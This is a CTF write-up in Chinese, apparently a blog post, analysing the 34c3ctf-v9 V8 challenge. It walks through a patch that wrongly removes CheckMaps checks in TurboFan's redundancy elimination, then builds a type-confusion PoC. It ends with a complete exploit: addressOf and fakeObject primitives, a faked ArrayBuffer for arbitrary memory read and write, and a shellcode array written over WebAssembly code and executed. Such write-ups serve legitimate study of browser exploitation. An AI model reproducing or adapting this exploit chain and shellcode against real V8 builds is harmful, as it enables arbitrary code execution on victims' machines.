0%

34c3ctf-v9

文章首发于安全KER https://www.anquanke.com/post/id/226710

0x00 前言

结合Turbolizer来分析34c3ctf-v9的v8逃逸题

0x01 patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"

#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"

namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}

从patch中可以看到,在redundancy-elimination.cc源文件的RedundancyElimination::Reduce函数中增加了一句case IrOpcode::kCheckMaps:,这样对于checkmaps节点,也会进行reduce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
switch (node->opcode()) {
case IrOpcode::kCheckBounds:
case IrOpcode::kCheckFloat64Hole:
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
case IrOpcode::kCheckString:
case IrOpcode::kCheckSeqString:
case IrOpcode::kCheckNotTaggedHole:
case IrOpcode::kCheckedFloat64ToInt32:
case IrOpcode::kCheckedInt32Add:
case IrOpcode::kCheckedInt32Sub:
case IrOpcode::kCheckedInt32Div:
case IrOpcode::kCheckedInt32Mod:
case IrOpcode::kCheckedInt32Mul:
case IrOpcode::kCheckedTaggedToFloat64:
case IrOpcode::kCheckedTaggedSignedToInt32:
case IrOpcode::kCheckedTaggedToInt32:
case IrOpcode::kCheckedUint32ToInt32:
return ReduceCheckNode(node);

看到ReduceCheckNode函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
return Replace(check);
}

// Learn from this check.
return UpdateChecks(node, checks->AddCheck(zone(), node));
}

该函数调用LookupCheck(node)获得新值以后,调用ReplaceWithValue(node, check)将原节点进行了替换。
继续看到LookupCheck(node)函数,该函数调用了IsCompatibleCheck函数,如果函数返回true,那么就会返回check->node,从而可以对这个节点进行Reduce消除

1
2
3
4
5
6
7
8
9
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
if (IsCompatibleCheck(check->node, node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
}
return nullptr;
}

IsCompatibleCheck函数则是被patch过的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->op() != b->op()) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
} else if (a->opcode() == IrOpcode::kCheckMaps &&
b->opcode() == IrOpcode::kCheckMaps) {
// CheckMaps are compatible if the first checks a subset of the second.
ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
if (!b_maps.contains(a_maps)) {
return false;
}
} else {
return false;
}
}
for (int i = a->op()->ValueInputCount(); --i >= 0;) {
if (a->InputAt(i) != b->InputAt(i)) return false;
}
return true;
}

在patch的内容分支上,程序获得两个checkmaps值,如果a_mapsb_maps的子集,那么变直接返回true,这将使得节点b被Reduce

0x02 POC构造

首先构造,我们使用了字典对象,我们仅观察checkmaps的reduce过程

1
2
3
4
5
6
7
8
9
10
11
12
var dict = {a:1.1};
function opt(obj_dict) {
var x = obj_dict.a;
var y = new Array(0x10);
return obj_dict.a;
}

for (var i=0;i<0x20000;i++) {
opt(dict);
}

print(opt(dict));

其中为了防止opt函数被直接内联到for语句里,我们在里面增加了一句var y = new Array(0x10);,在代码里,按理来说,var x = obj_dict.a;return obj_dict.a;都应该有一个checkmaps节点用于进行类型检查。我们还需要先弄清楚RedundancyElimination::ReduceCheckNode函数调用者是来自哪里,因此,我们在该函数下断点,然后用gdb调试。

最终发现,该阶段发生在LoadEliminationPhase阶段。接下来,结合IR图来进行验证,运行d8时加入选项--trace-turbo
Loops peeled 95阶段,43这个节点checkmaps还存在

然后到了下一个阶段,也就是Load eliminated 95阶段,43节点的checkmaps被reduce了

如果把patch去掉,发现在Load eliminated 95阶段是不会把checkmaps给去掉的

根据上述结论,我们进一步构造

1
2
3
4
5
6
7
8
9
10
11
12
13
var dict = {a:1.1};
function opt(obj_dict) {
var x = obj_dict.a;
obj_dict.a = {};
var y = new Array(0x10);
return obj_dict.a;
}

for (var i=0;i<0x20000;i++) {
opt(dict,(o)=>1);
}

print(opt(dict));

发现没有发生类型混淆,生成IR图进行观察,最后发现

最后发现return obj_dict.a;已经是按照对待HOLEY_ELEMENTS类型的方式将值取出的方式。由此,我们考虑加一个函数调用,使得字典对象逃逸,这样由于return obj_dict.a;的checkmaps在Load eliminated 95阶段会被移除,而Escape Analyse阶段在Load eliminated 95阶段之后,那么就可以造成类型混淆

1
2
3
4
5
6
7
8
9
10
11
12
var dict = {a:1.1};
function opt(obj_dict,o) {
var x = obj_dict.a;
o(obj_dict);
return obj_dict.a;
}

for (var i=0;i<0x20000;i++) {
opt(dict,(o)=>i);
}

print(opt(dict,(o)=>{o.a = dict}));

测试发现确实发生了类型混淆

1
2
root@ubuntu:~/Desktop/v8/34c3ctf-v9/x64.debug# ./d8 poc.js
1.8632743560757e-310

分析IR图

可以看到,在调用完函数后,没有对dict的类型重新进行检查,那么,我们在函数里改变了dict里a属性的类型,但是代码仍然用的是对待原来double elements的方式来取出值,由此发生类型混淆

0x03 漏洞利用

首先构造addressOf原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function addressOf_opt(dict,f) {
var x = dict.a;
f(dict);
return dict.a;
}

var double_dict = {a:1.1};

for (var i=0;i<0x20000;i++) {
addressOf_opt(double_dict,(o)=>1);
addressOf_opt(double_dict,(o)=>2);
addressOf_opt(double_dict,(o)=>3);
}

function addressOf(obj) {
var x = addressOf_opt(double_dict,(o)=>{o.a = obj});
return [u64_h(x),u64_l(x) - 0x1];
}

然后构造fakeObject原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function fakeObject_opt(dict,f,addr) {
var x = dict.b;
f(dict);
dict.b = addr;
return dict;
}

var obj = {};
var obj_dict = {b:2.2};

for (var i=0;i<0x20000;i++) {
fakeObject_opt(obj_dict,(o)=>1,1.1);
fakeObject_opt(obj_dict,(o)=>2,2.2);
fakeObject_opt(obj_dict,(o)=>3,3.3);
}

function fakeObject(addr_h,addr_l) {
var obj1 = fakeObject_opt(obj_dict,(o)=>{o.b = obj;},p64f(addr_l+0x1,addr_h)).b;
return obj1;
}

在构造fakeObject原语时,在fakeObject_opt时,我们没有直接返回dict.b而是返回dict对象,因为我们在前一句有dict.b = addr;,在与return之间没有进行其他逃逸操作,因此直接返回dict.b会在Escape Analyse阶段折叠掉。
构造好这两个原语以后,就是常规利用了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}

function u64_l(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
}

function u64_h(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(4,true);
}

function addressOf_opt(dict,f) {
var x = dict.a;
f(dict);
return dict.a;
}

var double_dict = {a:1.1};

for (var i=0;i<0x20000;i++) {
addressOf_opt(double_dict,(o)=>1);
addressOf_opt(double_dict,(o)=>2);
addressOf_opt(double_dict,(o)=>3);
}

function addressOf(obj) {
var x = addressOf_opt(double_dict,(o)=>{o.a = obj});
return [u64_h(x),u64_l(x) - 0x1];
}


function addressOf2_opt(dict,f) {
var x = dict.a2;
f(dict);
return dict.a2;
}

var double_dict2 = {a2:1.1};

for (var i=0;i<0x20000;i++) {
addressOf2_opt(double_dict2,(o)=>1);
addressOf2_opt(double_dict2,(o)=>2);
addressOf2_opt(double_dict2,(o)=>3);
}

function addressOf2(obj) {
var x = addressOf2_opt(double_dict2,(o)=>{o.a2 = obj});
return [u64_h(x),u64_l(x) - 0x1];
}


function fakeObject_opt(dict,f,addr) {
var x = dict.b;
f(dict);
dict.b = addr;
return dict;
}

var obj = {};
var obj_dict = {b:2.2};

for (var i=0;i<0x20000;i++) {
fakeObject_opt(obj_dict,(o)=>1,1.1);
fakeObject_opt(obj_dict,(o)=>2,2.2);
fakeObject_opt(obj_dict,(o)=>3,3.3);
}

function fakeObject(addr_h,addr_l) {
var obj1 = fakeObject_opt(obj_dict,(o)=>{o.b = obj;},p64f(addr_l+0x1,addr_h)).b;
return obj1;
}

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12];
var d = addressOf(faker);
var faker_addr_h = d[0];
var faker_addr_l = d[1];

print('faker_addr='+faker_addr_h.toString(16) + faker_addr_l.toString(16));

d = addressOf2(func);
var wasm_shellcode_ptr_addr_h = d[0];
var wasm_shellcode_ptr_addr_l = d[1] + 0x38;
print('wasm_shellcode_ptr=' + wasm_shellcode_ptr_addr_h.toString(16) + wasm_shellcode_ptr_addr_l.toString(16));

var element_addr_l = faker_addr_l + 0x40;
print('element_addr=' + faker_addr_h.toString(16) + element_addr_l.toString(16));

//fake a ArrayBuffer's Map
faker[0] = p64f(0,0);
faker[1] = p64f(0x0f00000a,0x001900c6);
faker[2] = p64f(0x082003ff,0);
faker[3] = p64f(0,0);

//faker a ArrayBuffer
faker[4] = p64f(element_addr_l+0x1,faker_addr_h); //map
faker[5] = p64f(0,0); //properties
faker[6] = p64f(0,0); //elements
faker[7] = p64f(0,0x100); //length
faker[8] = p64f(wasm_shellcode_ptr_addr_l,wasm_shellcode_ptr_addr_h);
faker[9] = faker[8];
faker[10] = p64f(0x100,0)
faker[11] = p64f(0x4,0);

var arb_ArrayBuffer = fakeObject(faker_addr_h,element_addr_l+0x20);

var adv = new DataView(arb_ArrayBuffer);

d = adv.getFloat64(0,true);
var wasm_shellcode_addr_h = u64_h(d);
var wasm_shellcode_addr_l = u64_l(d) + 0x5f;

print('wasm_shellcode_addr=' + wasm_shellcode_addr_h.toString(16) + wasm_shellcode_addr_l.toString(16));
faker[8] = p64f(wasm_shellcode_addr_l,wasm_shellcode_addr_h);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();

0x04 参考

从一道CTF题零基础学V8漏洞利用
redundancy elimination reducer in v8 and 34c3 ctf v9

0x05 感想

在v8的JIT代码生成过程中,会使用IR来分析程序并且进行优化,v8的IR图使用sea of node思想,其中checkmaps节点是用来做deoptimization的依据,checkmaps节点用于检查对象类型是否符合,如果符合,则直接执行接下来的JIT代码,否则会使用deoptimization,以确保类型正确。